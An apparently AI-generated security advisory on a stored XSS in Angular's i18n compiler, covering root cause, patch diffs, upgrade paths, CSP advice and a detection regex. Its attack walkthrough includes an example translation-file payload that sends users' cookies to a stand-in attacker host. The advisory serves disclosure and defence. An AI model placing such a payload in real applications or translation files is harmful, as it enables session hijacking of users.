CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-69151

CVE-2026-69151: Stored Cross-Site Scripting (XSS) in Angular Compiler i18n Pipeline via Event-Handler Attributes

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 3, 2026·8 min read·169 visits

Executive Summary (TL;DR)

An input validation flaw in the Angular compiler's i18n translation metadata pipeline enables unauthenticated stored Cross-Site Scripting (XSS) when utilizing untrusted translation assets. Attackers who compromise translation databases or localization files can inject arbitrary JavaScript executable payloads into translated attributes like `i18n-onerror`. Standard Angular runtime property-binding security validations fail to catch this injection because the malicious payloads are rendered as static attributes in the compiled HTML document, enabling full client-side session compromise.

A high-severity security vulnerability has been identified within the Angular compiler's internationalization (i18n) metadata collection and translation pipeline. Angular implements strict defenses against client-side execution injection by validating standard attribute and property bindings. However, when parsing elements containing both i18n translation attributes and inline event-handler elements (such as `i18n-onerror`), the compiler failed to assert the safety of the target attribute. Consequently, compromised or untrusted localization translation source files can supply arbitrary JavaScript payloads that replace static event-handler bindings. This arbitrary code is compiled directly into the localized build bundle and executed dynamically by the web browser, bypassing runtime sanitization, security checks, and standard binding constraints.

Vulnerability Overview

Angular utilizes a compiler-driven rendering architecture that automatically neutralizes typical web injection patterns. The framework's standard parsing mechanics block inline JavaScript events and validate all dynamic property-binding expressions against an internal element-validation registry. This mechanism prevents malicious components from injecting and running code through browser event handlers. Under normal conditions, attributes like onerror, onload, or onclick cannot accept unvetted external strings or template expressions.

To translate template content, the compiler incorporates an internationalization (i18n) pipeline. Developers prepend the i18n- prefix to an attribute name to designate its contents as translatable metadata (for instance, i18n-alt or i18n-title). When compiling localized variants of an application, the Angular compilation process extracts the original source strings and replaces them with corresponding translation target records from localized files (such as XML-based .xlf or .xliff standards).

The vulnerability arises because the metadata extraction phase within the compiler did not check whether the target attribute designated for translation was a sensitive browser execution sink. If a template specifies an event-handler attribute accompanied by an active translation instruction (e.g., <img src="a.jpg" onerror="void 0" i18n-onerror />), the compiler records this directive without validation. This architecture allows localization assets to introduce raw executable scripts that are rendered in the final application build as raw, unvalidated DOM attributes.

Root Cause Analysis

The underlying security flaw exists in the I18nMetaVisitor class, which resides inside the @angular/compiler package. During compilation, this visitor scans HTML-style template elements to isolate strings designated for localization. When a developer adds i18n-[attribute] to a tag, the compiler attempts to match that configuration to a static template attribute.

While standard Angular compilation runs a rigid security sweep via methods like validateAttribute() and validateProperty(), the compiler's i18n metadata extraction path skipped these security controls. It assumed that developers only mark harmless, static textual properties (e.g., labels, descriptions, alternate text) for localization. As a result, the compiler did not analyze the target destination of the translation. It allowed developers to declare and translate i18n-on* attributes.

At build time, the localizer parses the external translation catalog, retrieves the translation matching the structural ID, and replaces the initial static payload with the translation value. Because the generated string is output directly as a static HTML attribute rather than a runtime property binding, Angular's dynamic runtime defenses (such as the HTML sanitizer and Trusted Types runtime enforcement checks) are not invoked. The browser parses the resulting static HTML, registers the event listener, and executes the raw payload when the target DOM event fires.

Code-Level Analysis and Patch Verification

The vulnerability was corrected across two development iterations in the Angular codebase.

First Mitigating Commit

The initial fix, implemented in commit 6c41f5ca01c0ae045fc7d929b72853a11eb55865, added a validation check to I18nMetaVisitor in the file packages/compiler/src/render3/view/i18n/meta.ts. This check rejected any attribute translation whose destination name begins with the character sequence on:

// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
             isTrustedType = isTrustedTypesSink(node.name, name);
           }
 
-          if (isTrustedType) {
+          if (isTrustedType || name.toLowerCase().startsWith('on')) {
             this._reportError(
               attr,
               `Translating attribute '${name}' is disallowed for security reasons.`,

Second Refining Commit

The original check caused a regression by blocking translations of legitimate HTML attributes like on (which is benign and utilized in frameworks or specific custom elements, such as <div on="some-value" i18n-on>). To resolve this, commit 417a4071a776464d549509ed3aec121dbd2fda5e replaced the simple string prefix check with a more precise function, isPossibleEventHandler:

// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
             isTrustedType = isTrustedTypesSink(node.name, name);
           }
 
-          if (isTrustedType || name.toLowerCase().startsWith('on')) {
+          if (isTrustedType || isPossibleEventHandler(name)) {
             this._reportError(
               attr,
               `Translating attribute '${name}' is disallowed for security reasons.`,
@@ -350,3 +350,14 @@ export function i18nMetaToJSDoc(meta: I18nMeta): o.JSDocComment {
   }
   return o.jsDocComment(tags);
 }
+
+/**
+ * Check if the propertyName is a potential event handler.
+ * We consider a property to be a potential event handler if its name is longer than 2 characters and starts with 'on' (e.g. 'onclick', 'onload', etc.).
+ * @param propertyName The name of the property to check.
+ * @returns True if the property is a potential event handler, false otherwise.
+ */
+function isPossibleEventHandler(propertyName: string): boolean {
+  const name = propertyName.toLowerCase();
+  return name.length > 2 && name !== 'only' && name.startsWith('on');
+}

Integrity of the Fix

This logic effectively stops the processing of event handlers as translatable components while allowing benign custom attributes. Any attempt to use i18n-onerror or similar event-handler targets now throws an explicit compilation error, preventing the application from building.

Exploitation & Attack Vector Analysis

An exploitation chain targets the translation localization workflow, which is typically handled by external agencies, outsourced linguists, or third-party web localization interfaces. This supply-chain vector provides an ideal insertion point because translation data is often treated as benign content rather than executable application code.

Attack Step-by-Step

  1. Vulnerable Template Identification: The application contains an element with an inline handler marked for translation:

    <img src="/missing-image.png" onerror="void 0" i18n-onerror />
  2. Translation File Manipulation: An attacker with write access to translation workflows modifies the translated segment in the Spanish localization source file (messages.es.xlf):

    <trans-unit id="1234567890" datatype="html">
      <source>void 0</source>
      <target>fetch('https://attacker.com/log?cookie=' + btoa(document.cookie))</target>
    </trans-unit>
  3. Application Build: The developer builds the localization targets (ng build --localize). The compiler reads the manipulated translation file and merges the malicious string directly into the template's static compiled attribute space.

  4. Execution: A Spanish-speaking user navigates to the compiled application. When the browser attempts to fetch the broken image URL, it executes the payload within the context of the user's browser session, sending session cookie data back to the attacker.

Security Impact Assessment

The security impact of CVE-2026-69151 is high. A successful exploit grants an attacker the ability to execute arbitrary client-side code inside the security context of the victim's browser session. This can lead to complete account takeover, session hijacking via cookie extraction, unauthorized actions on behalf of the user, and exposure of sensitive operational data.

Vulnerability Risk Decomposition

  • Exploitation Pre-conditions: The attacker must possess the ability to alter localized translation source files or influence translation memory databases used by the localization pipeline. Because translation files are frequently hosted on SaaS platforms with fewer security protections than core source control, this poses a credible supply chain vector.
  • Circumvention of Protections: The injected JavaScript is merged at compile-time as a static attribute. This bypasses Angular runtime property sanitization. Consequently, the browser runs the script as highly trusted, native application code.
  • Trusted Types Bypass: When Trusted Types is enabled, it blocks dynamic string assignments to critical execution sinks (such as Element.prototype.innerHTML or eval). However, because the payload is compiled into the static DOM layout at build time, it is evaluated directly by the browser parsing engine, evading the security controls enforced by typical client-side Trusted Types frameworks.

Remediation and Defensive Guidance

The recommended solution is to upgrade all Angular dependencies to verified non-vulnerable releases.

Upgrade Path

  • Angular 20.x Users: Upgrade to @angular/compiler and @angular/core version 20.3.27 or higher.
  • Angular 21.x Users: Upgrade to @angular/compiler and @angular/core version 21.2.19 or higher.
  • Angular 22.x Users: Upgrade to @angular/compiler and @angular/core version 22.0.1 or higher.

Interim Defensive Strategies

If immediate software upgrade cycles are not viable, the following defensive layers should be implemented immediately:

  1. Automated Static Scanning: Implement template scanning or pre-build linting to detect any elements using i18n- prefixes mapped to standard HTML event triggers. The following regular expression can identify risky patterns in Angular templates:

    i18n-on(?!ly\b)[a-zA-Z]+
  2. Translation Verification and Control: Restrict authorization and manage translation pipelines as high-integrity source code. All external localization documents should be verified using automated schema checks and linting before compilation, ensuring translation payloads do not contain HTML, scripting tags, or code snippets.

  3. Content Security Policy (CSP): Configure and deploy a robust Content Security Policy header. Specifically, omit the 'unsafe-inline' keyword for scripts, which blocks the browser from executing inline attribute-based scripts like those introduced via onerror injections.

Official Patches

Angular Core TeamInitial PR to reject event attributes in i18n processing
Angular Core TeamFollow-up PR to allow literal on attributes during translation extraction

Fix Analysis (2)

Technical Appendix

CVSS Score
7.6/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

Angular compiler (@angular/compiler)Angular core runtime (@angular/core)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@angular/compiler
Google
< 20.3.2720.3.27
@angular/compiler
Google
>= 21.0.0-next.0, < 21.2.1921.2.19
@angular/compiler
Google
>= 22.0.0-next.0, < 22.0.122.0.1
@angular/core
Google
< 20.3.2720.3.27
@angular/core
Google
>= 21.0.0-next.0, < 21.2.1921.2.19
@angular/core
Google
>= 22.0.0-next.0, < 22.0.122.0.1
AttributeDetail
Vulnerability TypeCWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Attack VectorNetwork / Content Supply Chain Injection
Attack ComplexityLow (No special conditions required)
Authentication RequirementsNone (Requires access to influence external translation resources)
CVSS v4.0 Base Score7.6 (High)
Exploit StatusProof-of-Concept (No known active exploitation in the wild)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Core patch commit 6c41f5ca01c0ae045fc7d929b72853a11eb55865 added to angular/angular master branch
2026-05-20
Regression fix commit 417a4071a776464d549509ed3aec121dbd2fda5e submitted to allow literal on properties
2026-06-11
Vulnerability CVE-2026-69151 and GHSA-jj27-h5hq-8x99 publicly disclosed
2026-08-03

References & Sources

  • [1]NVD CVE Record - CVE-2026-69151
  • [2]GitHub Security Advisory GHSA-jj27-h5hq-8x99
  • [3]Angular Git Core Fix Commit
  • [4]Angular Git Follow-up Refinement Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-9Q47-3CM2-2RP8
6.5

GHSA-9Q47-3CM2-2RP8: Rate-Limit Bypass and Audit Log Spoofing in pyLoad WebUI

A critical security vulnerability has been identified and patched in the WebUI component of pyLoad, a popular Python-based open-source download manager. This vulnerability allows attackers to completely bypass API rate limits and spoof client IP addresses in audit logs due to unsafe parsing of the X-Forwarded-For HTTP header.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 2 hours ago•GHSA-68W4-83FH-F2W8
8.8

GHSA-68W4-83FH-F2W8: Privilege Escalation and Administrative Password Oracle in pyLoad-ng

An authorization bypass and credential oracle vulnerability in pyload-ng allows authenticated users with minimal or no privileges to brute-force the administrator password. This is achieved through sensitive API methods exposed globally combined with a non-constant-time password hash comparison algorithm.

Alon Barad
Alon Barad
7 views•7 min read
•about 3 hours ago•GHSA-R44W-V6GF-X3P6
8.1

Authentication Bypass in pyLoad API Key Caching Mechanism (GHSA-R44W-V6GF-X3P6)

An authentication bypass vulnerability in pyLoad allows unauthenticated remote attackers to gain administrative API access. The vulnerability is caused by a logical flaw in the API key cache validation lookup, where authentication states are cached using only the public key identifier, skipping cryptographic token verification on cache hits.

Alon Barad
Alon Barad
9 views•7 min read
•about 4 hours ago•CVE-2026-107728
7.5

CVE-2026-107728: Authorization Bypass in Strawberry GraphQL Permission Validation

An authorization bypass vulnerability in Strawberry GraphQL between versions 0.217.0 and 0.326.1 occurs when a synchronous permission handler returns an awaitable object (such as an unawaited coroutine). Due to Python's truthiness rules, the unawaited coroutine is evaluated as True, leading to an immediate bypass of security policies.

Amit Schendel
Amit Schendel
9 views•5 min read
•about 5 hours ago•CVE-2026-107727
3.7

CVE-2026-107727: Connection-Level Denial of Service via State Leak in Strawberry GraphQL Legacy WS Handler

An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.

Alon Barad
Alon Barad
11 views•6 min read
•about 6 hours ago•CVE-2026-107723
8.1

CVE-2026-107723: Silent Claim-Validator Bypass in NearForm fast-jwt via Array Payload Type Confusion

A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.

Alon Barad
Alon Barad
10 views•6 min read